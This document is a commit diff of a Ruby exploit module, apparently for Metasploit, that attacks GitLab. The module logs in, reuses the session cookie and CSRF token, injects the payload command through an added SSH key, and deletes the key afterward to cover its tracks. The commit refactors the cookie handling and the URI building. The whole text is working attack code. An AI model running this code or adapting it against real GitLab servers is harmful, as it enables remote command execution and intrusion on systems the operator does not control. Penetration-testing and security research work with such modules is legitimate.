@@ -69,6 +69,7 @@ def initialize(info = {})
69
69
end
70
70
71
71
def exploit
72
+ login
72
73
if target . name == 'Unix (CMD)'
73
74
execute_command ( payload . encoded )
74
75
else
@@ -77,15 +78,14 @@ def exploit
77
78
end
78
79
79
80
def execute_command ( cmd , _opts = { } )
80
- session_cookie = login
81
- key_id = add_key ( session_cookie , cmd )
82
- delete_key ( session_cookie , key_id )
81
+ key_id = add_key ( cmd )
82
+ delete_key ( key_id )
83
83
end
84
84
85
85
def login
86
86
username = datastore [ 'USERNAME' ]
87
87
password = datastore [ 'PASSWORD' ]
88
- signin_page = datastore [ 'TARGETURI' ] + 'users/ sign_in'
88
+ signin_page = normalize_uri ( datastore [ 'TARGETURI' ] , 'users' , ' sign_in')
89
89
90
90
# Get a valid session cookie and authenticity_token for the next step
91
91
res = send_request_cgi (
@@ -94,15 +94,15 @@ def login
94
94
'uri' => signin_page
95
95
)
96
96
97
- fail_with ( Failure ::Unknown , "#{ peer } - Connection timed out during login" ) unless res
97
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Connection timed out during login" ) unless res
98
98
99
- session_cookie = res . get_cookies . scan ( /(_gitlab_session=[a-z0-9]+)/ ) . flatten [ 0 ] || ''
99
+ local_session_cookie = res . get_cookies . scan ( /(_gitlab_session=[a-z0-9]+)/ ) . flatten [ 0 ] || ''
100
100
auth_token = res . body . scan ( /<input name="authenticity_token" type="hidden" value="(.*?)"/ ) . flatten [ 0 ]
101
101
102
102
# Perform the actual login and get the newly assigned session cookie
103
103
res = send_request_cgi (
104
104
'method' => 'POST' ,
105
- 'cookie' => session_cookie ,
105
+ 'cookie' => local_session_cookie ,
106
106
'uri' => signin_page ,
107
107
'vars_post' =>
108
108
{
@@ -116,23 +116,21 @@ def login
116
116
117
117
fail_with ( Failure ::NoAccess , "#{ peer } - Login failed" ) unless res
118
118
119
- session_cookie = res . get_cookies . scan ( /(_gitlab_session=[a-z0-9]+)/ ) . flatten [ 0 ]
120
-
121
- session_cookie
119
+ @session_cookie = res . get_cookies . scan ( /(_gitlab_session=[a-z0-9]+)/ ) . flatten [ 0 ]
122
120
end
123
121
124
- def add_key ( session_cookie , cmd )
125
- add_key_base = datastore [ 'TARGETURI' ] + 'profile/ keys'
122
+ def add_key ( cmd )
123
+ add_key_base = normalize_uri ( datastore [ 'TARGETURI' ] , 'profile' , ' keys')
126
124
127
125
# Perform an initial request to get an authenticity_token so the actual
128
126
# key addition can be done successfully.
129
127
res = send_request_cgi (
130
128
'method' => 'GET' ,
131
- 'cookie' => "request_method=GET; #{ session_cookie } " ,
132
- 'uri' => add_key_base + '/ new'
129
+ 'cookie' => "request_method=GET; #{ @ session_cookie} " ,
130
+ 'uri' => normalize_uri ( add_key_base , ' new')
133
131
)
134
132
135
- fail_with ( Failure ::Unknown , "#{ peer } - Connection timed out during request" ) unless res
133
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Connection timed out during request" ) unless res
136
134
137
135
auth_token = res . body . scan ( /<input name="authenticity_token" type="hidden" value="(.*?)"/ ) . flatten [ 0 ]
138
136
title = rand_text_alphanumeric ( 16 )
@@ -150,7 +148,7 @@ def add_key(session_cookie, cmd)
150
148
151
149
res = send_request_cgi (
152
150
'method' => 'POST' ,
153
- 'cookie' => "request_method=GET; #{ session_cookie } " ,
151
+ 'cookie' => "request_method=GET; #{ @ session_cookie} " ,
154
152
'uri' => add_key_base ,
155
153
'vars_post' =>
156
154
{
@@ -161,39 +159,39 @@ def add_key(session_cookie, cmd)
161
159
}
162
160
)
163
161
164
- fail_with ( Failure ::Unknown , "#{ peer } - Request to add key failed " ) unless res
162
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Connection timed out during request " ) unless res
165
163
166
164
# Get the newly added key id so it can be used for cleanup
167
165
key_id = res . headers [ 'Location' ] . split ( '/' ) [ -1 ]
168
166
169
167
key_id
170
168
end
171
169
172
- def delete_key ( session_cookie , key_id )
173
- key_base = datastore [ 'TARGETURI' ] + 'profile/ keys'
170
+ def delete_key ( key_id )
171
+ key_base = normalize_uri ( datastore [ 'TARGETURI' ] , 'profile' , ' keys')
174
172
175
173
res = send_request_cgi (
176
174
'method' => 'GET' ,
177
- 'cookie' => "request_method=GET; #{ session_cookie } " ,
175
+ 'cookie' => "request_method=GET; #{ @ session_cookie} " ,
178
176
'uri' => key_base
179
177
)
180
178
181
- fail_with ( Failure ::Unknown , "#{ peer } - Connection timed out during request" ) unless res
179
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Connection timed out during request" ) unless res
182
180
183
181
auth_token = res . body . scan ( /<meta content="(.*?)" name="csrf-token"/ ) . flatten [ 0 ]
184
182
185
183
# Remove the key which was added to clean up after ourselves
186
184
res = send_request_cgi (
187
185
'method' => 'POST' ,
188
- 'cookie' => "#{ session_cookie } " ,
189
- 'uri' => "#{ key_base } / #{ key_id } " ,
186
+ 'cookie' => "#{ @ session_cookie} " ,
187
+ 'uri' => normalize_uri ( "#{ key_base } " , " #{ key_id } ") ,
190
188
'vars_post' =>
191
189
{
192
190
'_method' => 'delete' ,
193
191
'authenticity_token' => auth_token
194
192
}
195
193
)
196
194
197
- fail_with ( Failure ::Unknown , "#{ peer } - Request to delete key failed " ) unless res
195
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Connection timed out during request " ) unless res
198
196
end
199
197
end
0 commit comments